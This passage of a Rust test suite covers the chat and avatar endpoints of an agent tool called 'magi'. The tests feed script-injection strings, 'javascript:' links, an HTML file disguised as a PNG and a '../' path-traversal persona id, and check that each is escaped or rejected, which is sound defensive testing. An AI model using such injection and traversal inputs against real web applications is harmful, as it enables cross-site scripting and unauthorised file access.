13174 State(Arc::clone(&ui)),
13175 Path(id.clone()),
13176 Json(TalkAgent {
13177 agent: agent.to_owned(),
13178 }),
13179 )
13180 };
13181
13182 let unknown = call("nobody").await.expect_err("unknown agent");
13183 assert_eq!(
13184 unknown.status,
13185 StatusCode::BAD_REQUEST,
13186 "{}",
13187 unknown.message
13188 );
13189
13190 {
13191 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13194 let busy = call("second").await.expect_err("busy talk");
13195 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13196 assert!(
13197 busy.message.contains("a talk turn is running"),
13198 "{}",
13199 busy.message
13200 );
13201 drop(guard);
13202 }
13203 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13204
13205 let Json(view) = call("second").await.expect("switch");
13206 assert_eq!(view.talk.agent, "second");
13207 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13208 let saved = talks.get(&id).expect("reload");
13209 assert_eq!(saved.agent, "second");
13210 assert_eq!(saved.turns.len(), 1);
13211 assert!(!view.thinking);
13212 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13213 for agent in ["mock", "second"] {
13214 let Json(view) = call(agent).await.expect("immediate consecutive change");
13215 assert_eq!(view.talk.agent, agent);
13216 assert!(!view.thinking);
13217 assert!(!ui.is_thinking(&id));
13218 }
13219
13220 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13221 .await
13222 .expect("detail");
13223 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13224 assert_eq!(roster, ["mock", "second"]);
13225
13226 let mut closed = talks.get(&id).expect("reload");
13227 talk::close(&mut closed, &talks).expect("close");
13228 let refused = call("mock").await.expect_err("closed talk");
13229 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13230 assert!(
13231 refused.message.contains("takes no more turns"),
13232 "{}",
13233 refused.message
13234 );
13235 }
13236
13237 #[tokio::test]
13238 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13239 let tmp = TempDir::new().expect("tempdir");
13240 let repo = tmp.path().join("repo");
13241 std::fs::create_dir_all(&repo).expect("repo dir");
13242 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13243 let home = TempDir::new().expect("temp home");
13244 let talks = Talks::at(home.path().join("talks"));
13245 let ui = Arc::new(
13246 Ui::new(
13247 Queue::at(home.path().join("queue")),
13248 Questions::at(home.path().join("questions")),
13249 talks.clone(),
13250 home.path().join("runs"),
13251 home.path().to_path_buf(),
13252 repo.clone(),
13253 )
13254 .with_worktrees_root(home.path().join("wt")),
13255 );
13256 let cfg = config_for(&repo).await.expect("discover config");
13257 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13258 let id = talk.id.clone();
13259 let call = |n: u8| {
13260 talk_implementers(
13261 State(Arc::clone(&ui)),
13262 Path(id.clone()),
13263 Json(TalkImplementers { implementers: n }),
13264 )
13265 };
13266
13267 for bad in [0u8, 4] {
13268 let e = call(bad).await.expect_err("out of range");
13269 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13270 }
13271 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13272
13273 {
13274 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13277 let busy = call(2).await.expect_err("busy talk");
13278 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13279 assert!(
13280 busy.message.contains("a talk turn is running"),
13281 "{}",
13282 busy.message
13283 );
13284 drop(guard);
13285 }
13286
13287 let Json(view) = call(3).await.expect("switch");
13288 assert_eq!(view.talk.implementers, 3);
13289 assert!(talks.get(&id).expect("reload").implementers_dirty);
13290 assert!(!view.thinking);
13291 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13292 for n in [1, 2, 3] {
13293 let Json(view) = call(n).await.expect("immediate consecutive change");
13294 assert_eq!(view.talk.implementers, n);
13295 assert!(!view.thinking);
13296 assert!(!ui.is_thinking(&id));
13297 }
13298
13299 let mut closed = talks.get(&id).expect("reload");
13300 talk::close(&mut closed, &talks).expect("close");
13301 let e = call(2).await.expect_err("closed talk");
13302 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13303 assert!(e.message.contains("takes no more turns"), "{}", e.message);
13304 }
13305
13306 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13308 let tmp = TempDir::new().expect("tempdir");
13309 let repo = tmp.path().join("repo");
13310 std::fs::create_dir_all(&repo).expect("repo dir");
13311 std::fs::write(
13312 repo.join("magi.toml"),
13313 format!("{MOCK_AGENT_TOML}\n{extra}"),
13314 )
13315 .expect("write magi.toml");
13316 let home = TempDir::new().expect("temp home");
13317 let talks = Talks::at(home.path().join("talks"));
13318 let ui = Arc::new(
13319 Ui::new(
13320 Queue::at(home.path().join("queue")),
13321 Questions::at(home.path().join("questions")),
13322 talks.clone(),
13323 home.path().join("runs"),
13324 home.path().to_path_buf(),
13325 repo.clone(),
13326 )
13327 .with_worktrees_root(home.path().join("wt")),
13328 );
13329 let cfg = config_for(&repo).await.expect("discover config");
13330 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13331 (tmp, home, ui, talk.id, repo)
13332 }
13333
13334 #[tokio::test]
13335 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13336 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13337 let mut conversation = ui.talks.get(&id).unwrap();
13338 talk::record(
13339 &mut conversation,
13340 &ui.talks,
13341 "# Update on a task you filed\noperator words",
13342 vec![],
13343 )
13344 .unwrap();
13345 conversation.turns[0].sender = None;
13347 conversation.turns[0].messages.clear();
13348 ui.talks.put(&mut conversation).unwrap();
13349 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13350 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13351 talk::drain(&mut conversation, &ui.talks).unwrap();
13352 talk::record_reply(
13353 &mut conversation,
13354 &ui.talks,
13355 "about that report",
13356 vec![],
13357 Some(talk::ReplyTarget {
13358 turn: 1,
13359 message: 1,
13360 }),
13361 )
13362 .unwrap();
13363 conversation.turns[2].messages[0]
13364 .reply
13365 .as_mut()
13366 .unwrap()
13367 .sender = None;
13368 conversation.turns.push(talk::Turn {
13369 sender: Some(talk::Sender::Persona),
13370 who: talk::Who::Agent,
13371 body: "magi: actual persona words".into(),
13372 at: Timestamp::now(),
13373 attachments: vec![],
13374 usage: None,
13375 breaks: None,
13376 messages: vec![],
13377 posted_by: None,
13378 });
13379 ui.talks.put(&mut conversation).unwrap();
13380 let view = TalkView::with_config(
13381 ui.talks.get(&id).unwrap(),
13382 false,
13383 None,
13384 &ui.home,
13385 &ui.references,
13386 );
13387 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13388 assert_eq!(
13389 view.talk.turns[1].messages[0].sender,
13390 Some(talk::Sender::Operator)
13391 );
13392 assert_eq!(
13393 view.talk.turns[1].messages[1].sender,
13394 Some(talk::Sender::Magi)
13395 );
13396 assert_eq!(
13397 view.talk.turns[2].messages[0]
13398 .reply
13399 .as_ref()
13400 .unwrap()
13401 .sender,
13402 Some(talk::Sender::Magi)
13403 );
13404 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13405 assert_eq!(view.turn_messages_md[0].len(), 1);
13406 assert!(view.turn_messages_md[0][0].is_none());
13407 assert!(view.turn_messages_md[1][0].is_none());
13408 assert!(view.turn_messages_md[1][1].is_some());
13409 }
13410
13411 #[tokio::test]
13412 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13413 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13414 let mut conversation = ui.talks.get(&id).unwrap();
13415 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13416 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13417 talk::queue_notice(
13418 &mut conversation,
13419 &ui.talks,
13420 &body,
13421 "watch:123",
13422 &|_| false,
13423 None,
13424 display.clone(),
13425 )
13426 .unwrap();
13427 assert!(
13428 !talk::queue_notice(
13429 &mut conversation,
13430 &ui.talks,
13431 &body,
13432 "watch:123",
13433 &|_| false,
13434 None,
13435 display.clone()
13436 )
13437 .unwrap()
13438 );
13439 let saved = ui.talks.get(&id).unwrap();
13440 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13441 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13442 assert!(
13443 view.talk.turns[0].messages[0].display.is_none(),
13444 "operator copy stays literal"
13445 );
13446 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13447 assert!(view.turn_messages_md[0][0].is_none());
13448 let queued_md = view.pending_messages_md[0].clone();
13449 assert_eq!(
13450 queued_md,
13451 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13452 );
13453 talk::drain(&mut conversation, &ui.talks).unwrap();
13454 talk::record_reply(
13455 &mut conversation,
13456 &ui.talks,
13457 "Explain",
13458 vec![],
13459 Some(talk::ReplyTarget {
13460 turn: 1,
13461 message: 0,
13462 }),
13463 )
13464 .unwrap();
13465 let mut saved = ui.talks.get(&id).unwrap();
13466 assert_eq!(saved.turns[1].messages[0].body, body);
13467 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13468 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13469 assert!(!reply.excerpt.contains("automatic report"));
13470 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
13473 let view = TalkView::with_config(
13474 ui.talks.get(&id).unwrap(),
13475 false,
13476 None,
13477 &ui.home,
13478 &ui.references,
13479 );
13480 assert_eq!(view.turn_messages_md[1][0], queued_md);
13481 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13482 assert!(
13483 !view.talk.turns[2].messages[0]
13484 .reply
13485 .as_ref()
13486 .unwrap()
13487 .excerpt
13488 .contains("automatic report")
13489 );
13490 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13491 }
13492
13493 #[tokio::test]
13494 async fn consultation_display_hides_directives_in_queue_and_history() {
13495 for node in [
13496 "implement",
13497 crate::land::APPROVAL_NODE,
13498 crate::github_text::ASK_NODE,
13499 ] {
13500 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13501 let mut question = Question::new(
13502 "run-123".into(),
13503 node.into(),
13504 "seat-1".into(),
13505 "Which backend?".into(),
13506 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13507 vec!["SQLite".into(), "Redis".into()],
13508 );
13509 ui.questions.put(&mut question).unwrap();
13510 let body = crate::prompt::chat_consult(&question);
13511 let mut conversation = ui.talks.get(&id).unwrap();
13512 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13513 assert!(
13514 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13515 );
13516 conversation = ui.talks.get(&id).unwrap();
13517 assert_eq!(conversation.pending_messages[0].body, body);
13518 assert!(body.contains("magi answer"));
13519 let mut legacy_pending = conversation.clone();
13520 legacy_pending.pending_messages[0].display = None;
13521 let legacy_view =
13522 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13523 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13524 assert!(legacy_md.contains("Question consultation"));
13525 assert!(!legacy_md.contains("magi answer"));
13526 let view =
13527 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13528 assert!(
13529 view.turn_messages_md[0][0].is_none(),
13530 "operator copy stays literal"
13531 );
13532 let queued_md = view.pending_messages_md[0].clone().unwrap();
13533 let rendered = serde_json::to_string(&queued_md).unwrap();
13534 for visible in [
13535 "Which backend?",
13536 "Context",
13537 "storage",
13538 "SQLite",
13539 "Redis",
13540 "<script>literal</script>",
13541 ] {
13542 assert!(rendered.contains(visible), "missing {visible}");
13543 }
13544 for directive in [
13545 "What to do",
13546 "magi answer",
13547 "Never answer it yourself",
13548 "Do not edit the repository",
13549 ] {
13550 assert!(!rendered.contains(directive), "exposed {directive}");
13551 }
13552 assert_eq!(
13553 view.talk.pending_messages[0].display,
13554 Some(crate::prompt::chat_consult_display(&question))
13555 );
13556 talk::drain(&mut conversation, &ui.talks).unwrap();
13557 let view =
13558 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13559 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13560 assert_eq!(conversation.turns[1].messages[0].body, body);
13561
13562 conversation.turns[1].messages[0].display = None;
13565 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13566 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13567 assert!(legacy.contains("Question consultation"));
13568 assert!(!legacy.contains("magi answer"));
13569 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13570 }
13571 }
13572
13573 #[test]
13574 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13575 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13576 let (body, mut display) =
13577 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13578 display.facts = facts.into();
13579 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13580 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13581 let json = serde_json::to_string(&nodes).unwrap();
13582 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13583 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13584 }
13585 assert!(json.contains("<script>alert(1)</script>"));
13586 assert!(!json.contains("javascript:"));
13587 assert!(!json.contains("Tell the operator"));
13588 assert!(!json.contains("untrusted"));
13589 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13590 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
13591 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13592 assert_eq!(
13593 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13594 md::to_nodes("# Status", &md::ImageBase::None),
13595 );
13596 }
13597
13598 #[tokio::test]
13599 async fn notification_display_recovers_exact_legacy_completion_references() {
13600 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13601 let mut conversation = ui.talks.get(&id).unwrap();
13602 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13603 id: "task-123",
13604 title: "Change",
13605 status: "done",
13606 reason: None,
13607 run: Some("run-123"),
13608 pr: None,
13609 summary: Some("Merge state unknown"),
13610 });
13611 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13612 conversation.turns[0].sender = None;
13613 conversation.turns[0].messages.clear();
13614 conversation.turns[0].breaks = None;
13615 conversation.pending = body.clone();
13616 conversation
13617 .completion_notices
13618 .push(crate::chat_notify::CompletionReference {
13619 task: "task-123".into(),
13620 run: Some("run-123".into()),
13621 notice: body.clone(),
13622 });
13623 ui.talks.put(&mut conversation).unwrap();
13624 let view = TalkView::with_config(
13625 ui.talks.get(&id).unwrap(),
13626 false,
13627 None,
13628 &ui.home,
13629 &ui.references,
13630 );
13631 assert_eq!(
13632 view.talk.turns[0].messages[0].display,
13633 Some(display.clone())
13634 );
13635 assert_eq!(view.talk.pending_messages[0].display, Some(display));
13636 assert_eq!(
13637 view.talk.turns[0].messages[0].sender,
13638 Some(talk::Sender::Magi)
13639 );
13640 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13641 conversation.completion_notices[0]
13642 .notice
13643 .push_str("different");
13644 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13645 assert!(view.talk.turns[0].messages.is_empty());
13646 assert!(view.talk.pending_messages.is_empty());
13647 }
13648
13649 #[tokio::test]
13650 async fn avatar_settings_report_states_and_inherit_after_corruption() {
13651 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13652 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13653 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13654 ))
13655 .await;
13656 let path = avatar_setting_path(home.path(), Some("rei"));
13657 let orphan = avatar_setting_path(home.path(), Some("removed"));
13658 save_icon_file(&orphan, icon).unwrap();
13659 for (saved, expected) in [
13660 (icon, "custom"),
13661 ("builtin", "builtin"),
13662 ("data:image/png;base64,!!!!", "inherit"),
13663 ("data:image/png;base64,PGh0bWw+", "inherit"),
13664 ("/tmp/avatar.png", "inherit"),
13665 ] {
13666 atomic_icon_write(&path, saved).unwrap();
13667 let catalog =
13668 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13669 .await
13670 .unwrap()
13671 .0;
13672 let personas = catalog["personas"].as_array().unwrap();
13673 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13674 assert_eq!(rei["override_state"], expected);
13675 assert_eq!(rei["has_config_icon"], true);
13676 assert_eq!(rei["is_orphan"], false);
13677 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13678 assert_eq!(removed["override_state"], "custom");
13679 assert_eq!(removed["is_orphan"], true);
13680 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13681 assert_eq!(default["override_state"], "inherit");
13682 assert_eq!(default["has_config_icon"], false);
13683 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13684 assert_eq!(
13685 effective.as_deref(),
13686 Some(if expected == "builtin" { "" } else { icon })
13687 );
13688 }
13689 }
13690
13691 #[tokio::test]
13692 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13693 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13694 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13695 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13696 ))
13697 .await;
13698 let target = |id: Option<&str>| AvatarSettingsQuery {
13699 persona: id.map(str::to_owned),
13700 ..Default::default()
13701 };
13702 let original_config = config_for(&repo).await.unwrap();
13703 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13704 let original_prompt = persona::section_for(&original_persona, None);
13705 let before = talk_detail(State(ui.clone()), Path(id.clone()))
13706 .await
13707 .unwrap()
13708 .0;
13709 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13710 let _ = avatar_settings_put(
13711 State(ui.clone()),
13712 Query(target(persona)),
13713 Json(MagiIconUpload { icon: icon.into() }),
13714 )
13715 .await
13716 .unwrap();
13717 let path = avatar_setting_path(home.path(), persona);
13718 assert!(path.starts_with(home.path().join("avatars")));
13719 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13720 for bad in [
13721 "/tmp/image.png".to_owned(),
13722 "data:image/png;base64,!!!!".to_owned(),
13723 "data:image/png;base64,PGh0bWw+".to_owned(),
13724 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13725 format!(
13726 "data:image/png;base64,{}",
13727 "A".repeat(persona_icon::ICON_MAX_BYTES)
13728 ),
13729 ] {
13730 assert!(
13731 avatar_settings_put(
13732 State(ui.clone()),
13733 Query(target(persona)),
13734 Json(MagiIconUpload { icon: bad })
13735 )
13736 .await
13737 .is_err()
13738 );
13739 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13740 }
13741 }
13742 assert!(read_magi_icon(home.path()).is_none());
13743 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
13744 let after = talk_detail(State(ui.clone()), Path(id.clone()))
13745 .await
13746 .unwrap()
13747 .0;
13748 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
13749 assert_ne!(
13750 before
13751 .personas
13752 .iter()
13753 .find(|p| p.id == "magi")
13754 .unwrap()
13755 .avatar,
13756 after
13757 .personas
13758 .iter()
13759 .find(|p| p.id == "magi")
13760 .unwrap()
13761 .avatar
13762 );
13763 let restarted = Arc::new(Ui::new(
13764 Queue::at(home.path().join("queue")),
13765 Questions::at(home.path().join("questions")),
13766 Talks::at(home.path().join("talks")),
13767 home.path().join("runs"),
13768 home.path().to_owned(),
13769 repo,
13770 ));
13771 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
13772 .await
13773 .unwrap()
13774 .0;
13775 assert!(
13776 catalog["personas"]
13777 .as_array()
13778 .unwrap()
13779 .iter()
13780 .any(|p| p["id"] == "../custom/日本語")
13781 );
13782 for expected in ["custom", "default", "rei"] {
13783 assert!(
13784 catalog["personas"]
13785 .as_array()
13786 .unwrap()
13787 .iter()
13788 .any(|p| p["id"] == expected)
13789 );
13790 }
13791 let response =
13792 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
13793 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13794 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
13795 .await
13796 .unwrap();
13797 assert_eq!(
13798 effective_persona_icon(home.path(), "rei", Some(icon)),
13799 Some(String::new())
13800 );
13801 let response = talk_avatar(
13802 State(restarted.clone()),
13803 Path(id.clone()),
13804 Query(AvatarQuery {
13805 persona: Some("rei".into()),
13806 ..Default::default()
13807 }),
13808 )
13809 .await
13810 .unwrap();
13811 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
13812 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
13813 .await
13814 .unwrap()
13815 .0;
13816 assert_ne!(
13817 after
13818 .personas
13819 .iter()
13820 .find(|p| p.id == "rei")
13821 .unwrap()
13822 .avatar,
13823 reset
13824 .personas
13825 .iter()
13826 .find(|p| p.id == "rei")
13827 .unwrap()
13828 .avatar
13829 );
13830 let mut inherit = target(Some("rei"));
13831 inherit.inherit = Some("1".into());
13832 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
13833 .await
13834 .unwrap();
13835 assert_eq!(
13836 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
13837 Some(icon)
13838 );
13839 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
13840 .await
13841 .unwrap();
13842 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
13843 assert_eq!(
13844 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
13845 Some(icon)
13846 );
13847 let cfg = config_for(&ui.repo).await.unwrap();
13849 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
13850 assert_eq!(persona::section_for(&resolved, None), original_prompt);
13851 assert!(!original_prompt.contains("data:image"));
13852 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
13853 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
13854 assert!(!stored.contains("data:image"));
13855 let mut orphan = ui.talks.get(&id).unwrap();
13856 orphan.persona = "../custom/日本語".into();
13857 let view = TalkView::with_config(
13858 orphan,
13859 false,
13860 Some(&cfg),
13861 home.path(),
13862 &id_links::IndexCache::default(),
13863 );
13864 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
13865 }
13866
13867 #[tokio::test]
13868 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13869 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13870 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13871 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13872 let _ = magi_icon_put(
13873 State(ui.clone()),
13874 Json(MagiIconUpload { icon: icon.into() }),
13875 )
13876 .await
13877 .unwrap();
13878 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13879 assert_ne!(original, changed);
13880 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13881 let response = magi_avatar(
13882 State(ui.clone()),
13883 Query(AvatarQuery {
13884 persona: None,
13885 builtin: None,
13886 }),
13887 )
13888 .await;
13889 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13890 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13891 assert_eq!(
13892 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13893 "nosniff"
13894 );
13895 for bad in [
13896 "data:image/png;base64,PGh0bWw+".to_owned(),
13897 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13898 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13899 ] {
13900 assert!(save_magi_icon(home.path(), &bad).is_err());
13901 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13902 }
13903 let restarted = Arc::new(Ui::new(
13905 Queue::at(home.path().join("queue")),
13906 Questions::at(home.path().join("questions")),
13907 Talks::at(home.path().join("talks")),
13908 home.path().join("runs"),
13909 home.path().to_path_buf(),
13910 repo,
13911 ));
13912 assert_eq!(
13913 magi_icon_get(State(restarted.clone())).await.0["avatar"],
13914 changed
13915 );
13916 let view = TalkView::with_config(
13917 restarted.talks.get(&id).unwrap(),
13918 false,
13919 None,
13920 &restarted.home,
13921 &restarted.references,
13922 );
13923 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13924 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13925 let response = magi_avatar(
13926 State(ui.clone()),
13927 Query(AvatarQuery {
13928 persona: None,
13929 builtin: None,
13930 }),
13931 )
13932 .await;
13933 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
13934 .await
13935 .unwrap();
13936 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
13937 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
13938 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
13939 let _ = magi_icon_delete(State(ui)).await.unwrap();
13940 }
13941
13942 async fn avatar(
13944 ui: &Arc<Ui>,
13945 id: &str,
13946 persona: Option<&str>,
13947 builtin: bool,
13948 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
13949 let res = talk_avatar(
13950 State(Arc::clone(ui)),
13951 Path(id.to_owned()),
13952 Query(AvatarQuery {
13953 persona: persona.map(str::to_owned),
13954 builtin: builtin.then(|| "1".to_owned()),
13955 }),
13956 )
13957 .await
13958 .expect("an avatar is never an error response");
13959 let h = res.headers();
13960 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
13961 let nosniff = h
13962 .get(header::X_CONTENT_TYPE_OPTIONS)
13963 .is_some_and(|v| v == "nosniff");
13964 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
13965 let status = res.status();
13966 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13967 .await
13968 .expect("body")
13969 .to_vec();
13970 (status, ct, nosniff, csp, body)
13971 }
13972
13973 fn tiny_png() -> Vec<u8> {
13974 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
13975 b.extend_from_slice(&[0u8; 32]);
13976 b
13977 }
13978
13979 #[tokio::test]
13980 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
13981 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
13982 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
13983 assert_eq!(res.status(), StatusCode::OK);
13984 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
13985 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
13986 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
13987 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
13988 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13989 .await
13990 .unwrap();
13991 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
13992 assert_ne!(
13993 persona_icon::operator_svg(),
13994 persona_icon::builtin_svg("default")
13995 );
13996 }
13997
13998 #[tokio::test]
13999 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14000 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14001 for p in [
14002 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14003 ] {
14004 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14005 assert_eq!(status, StatusCode::OK, "{p}");
14006 assert_eq!(ct, "image/svg+xml", "{p}");
14007 assert!(nosniff && csp, "{p}");
14008 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14009 }
14010 let own = avatar(&ui, &id, None, false).await;
14012 let default = avatar(&ui, &id, Some("default"), false).await;
14013 assert_eq!(own.4, default.4);
14014 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14015 assert_eq!(unknown.1, "image/svg+xml");
14016 }
14017
14018 #[tokio::test]
14019 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14020 let dir = TempDir::new().expect("icons");
14021 let good = dir.path().join("good.png");
14022 std::fs::write(&good, tiny_png()).unwrap();
14023 let spoof = dir.path().join("spoof.png");
14024 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14025 let big = dir.path().join("big.png");
14026 let mut bytes = tiny_png();
14027 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14028 std::fs::write(&big, bytes).unwrap();
14029 let missing = dir.path().join("missing.png");
14030 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14031 let extra = format!(
14032 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14033 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14034 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14035 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
